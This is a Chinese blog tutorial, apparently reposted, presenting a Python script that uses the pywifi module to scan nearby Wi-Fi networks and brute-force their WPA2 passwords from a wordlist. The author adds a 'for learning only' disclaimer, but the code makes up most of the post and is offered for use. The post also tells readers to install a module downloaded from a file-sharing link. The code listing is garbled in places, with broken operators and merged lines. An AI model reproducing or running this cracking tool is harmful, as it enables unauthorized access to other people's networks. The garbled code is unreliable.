最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5
既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。
有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。
链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg
本地安装方法:
1)下载解压好以后,我们用cmd命令行,进入到你的文件目录
2)使用命令pip install . 注意了(install后面有个点)
3)然后就会安装了,等一会就可以了。
程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount = 5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
wifi = pywifi.PyWiFi() #抓取网卡接口
ifaces = wifi.interfaces()[ 0 ] #获取网卡
ifaces.scan()
time.sleep( 8 )
bessis = ifaces.scan_results()
list = []
for data in bessis:
if (data.ssid not in namelist): #去掉重复的WIFI名称
namelist.append(data.ssid)
list .append((data.ssid, data.signal))
sorted ( list , key = lambda st: st[ 1 ], reverse = True )
time.sleep( 1 )
n = 0
if len ( list ) is not 0 :
for item in list :
if (item[ 0 ] not in ssidlist):
n = n + 1
if n< = wificount:
ssidlist.append(item[ 0 ])
print (ssidlist)
def testwifi(ssidname,password):
wifi = pywifi.PyWiFi() #抓取网卡接口
ifaces = wifi.interfaces()[ 0 ] #获取网卡
ifaces.disconnect() #断开无限网卡连接
profile = pywifi.Profile() #创建wifi连接文件
profile.ssid = ssidname #定义wifissid
profile.auth = const.AUTH_ALG_OPEN #网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP ##加密单元
ifaces.remove_all_network_profiles() #删除其他所有配置文件
tmp_profile = ifaces.add_network_profile(profile) #加载配置文件
ifaces.connect(tmp_profile) #连接wifi
time.sleep( 5 ) #5秒内能否连接上
if ifaces.status() = = const.IFACE_CONNECTED:
return True else :
#print("[-]WiFi connection failure!")
return False
#ifaces.disconnect()#断开连接
#time.sleep(1)
return True
def main():
getwifi()
#ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
if ( len (ssidlist) is not 0 ):
path = r "password.txt"
files = open (path, 'r' )
while True :
if ( len (ssidlist) is 0 ):
break
try :
password = files.readline()
password = password.strip( '\n' )
if not password:
break
for item in result: #把已经找到密码的WIFI从查询中删除。
ssidlist.remove(item[ 0 ])
for ssidname in ssidlist:
if (testwifi(ssidname,password) = = True ):
result.append((ssidname,password)) #把找到的WIFI密码保存起来
print ( 'Succ' , 'Current WifiName:' ,ssidname, 'Current Password:' ,password)
else :
print ( 'Fail' , 'Current WifiName:' ,ssidname, 'Current Password:' ,password)
except :
continue
files.close()
print ( "\n" , "WIFI结果列表:" )
for item in result: #把已经找到密码的WIFI从查询中删除。
print ("")
print ( "无线:" ,item[ 0 ])
print ( "密码:" ,item[ 1 ])
else :
print ( "没有找到WIFI信号,请重试。" )
if __name__ = = '__main__' :
main()
|
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对服务器之家的支持。如果你想了解更多相关内容请查看下面相关链接
原文链接:https://blog.csdn.net/wujinmei/article/details/81288212